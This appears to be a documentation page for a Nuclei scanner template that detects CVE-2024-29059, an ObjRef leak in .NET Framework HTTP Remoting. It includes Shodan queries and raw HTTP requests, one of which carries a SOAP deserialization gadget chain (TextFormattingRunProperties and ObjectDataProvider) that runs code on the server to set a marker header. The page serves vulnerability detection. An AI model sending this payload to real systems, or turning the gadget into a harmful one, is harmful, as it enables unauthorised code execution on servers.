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.NET Framework - Leaking ObjRefs via HTTP .NET Remoting

ID: CVE-2024-29059

Severity: high

Author: iamnoooob,rootxharsh,DhiyaneshDk,pdresearch

Tags: cve,cve2024,dotnet,microsoft,remoting,deserialization,kev

Description

Section titled “Description”

.NET Framework Information Disclosure Vulnerability

YAML Source

Section titled “YAML Source”
id: CVE-2024-29059


info:
  name: .NET Framework - Leaking ObjRefs via HTTP .NET Remoting
  author: iamnoooob,rootxharsh,DhiyaneshDk,pdresearch
  severity: high
  description: .NET Framework Information Disclosure Vulnerability
  reference:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-29059
    - https://code-white.com/blog/leaking-objrefs-to-exploit-http-dotnet-remoting/
    - https://github.com/codewhitesec/HttpRemotingObjRefLeak
    - https://github.com/NaInSec/CVE-LIST
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-29059
    cwe-id: CWE-209
    epss-score: 0.01259
    epss-percentile: 0.85581
    cpe: cpe:2.3:a:microsoft:.net_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: microsoft
    product: .net_framework
    shodan-query:
      - 'Server: MS .NET Remoting'
      - "server: ms .net remoting"
  tags: cve,cve2024,dotnet,microsoft,remoting,deserialization,kev


http:
  - raw:
      - |
        GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1
        Host: {{Hostname}}
        __RequestVerb: POST
        Content-Type: text/xml


      - |
        POST {{objref}} HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: ""
        Content-Type: text/xml


        <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
        <ForegroundBrush id="ref-3">&#60;ObjectDataProvider MethodName=&#34;AddHeader&#34;
          xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
          xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
          xmlns:System=&#34;clr-namespace:System;assembly=mscorlib&#34;
          xmlns:System.Web=&#34;clr-namespace:System.Web;assembly=System.Web&#34;&#62;&#60;ObjectDataProvider.ObjectInstance&#62;&#60;ObjectDataProvider MethodName=&#34;get_Response&#34;&#62;&#60;ObjectDataProvider.ObjectInstance&#62;
          &#60;ObjectDataProvider ObjectType=&#34;{x:Type System.Web:HttpContext}&#34; MethodName=&#34;get_Current&#34; /&#62;
          &#60;/ObjectDataProvider.ObjectInstance&#62;
          &#60;/ObjectDataProvider&#62;
          &#60;/ObjectDataProvider.ObjectInstance&#62;
          &#60;ObjectDataProvider.MethodParameters&#62;
          &#60;System:String&#62;X-Vuln-Test&#60;/System:String&#62;
          &#60;System:String&#62;{{randstr}}&#60;/System:String&#62;
          &#60;/ObjectDataProvider.MethodParameters&#62;
        &#60;/ObjectDataProvider&#62;</ForegroundBrush>
        </a1:TextFormattingRunProperties>
        </SOAP-ENV:Envelope>


    extractors:
      - type: regex
        name: objref
        part: body_1
        group: 1
        regex:
          - "(/[0-9a-f_]+/[0-9A-Za-z_+]+_[0-9]+\\.rem)"
        internal: true


      - type: dsl
        dsl:
          - x_vuln_test


    matchers:
      - type: dsl
        dsl:
          - "contains(body_1,'ObjRef')"
          - "contains(x_vuln_test,'{{randstr}}')"
        condition: and
# digest: 4a0a0047304502202c0d8b294944dc50da294963954c3346be96d0c5a501f58ad012a19bd152d32d0221008dbe0cd457b94c99bd6a83f8a67589af03e255d5a5c2e4d59fb503d0019c54fd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-29059.yaml"

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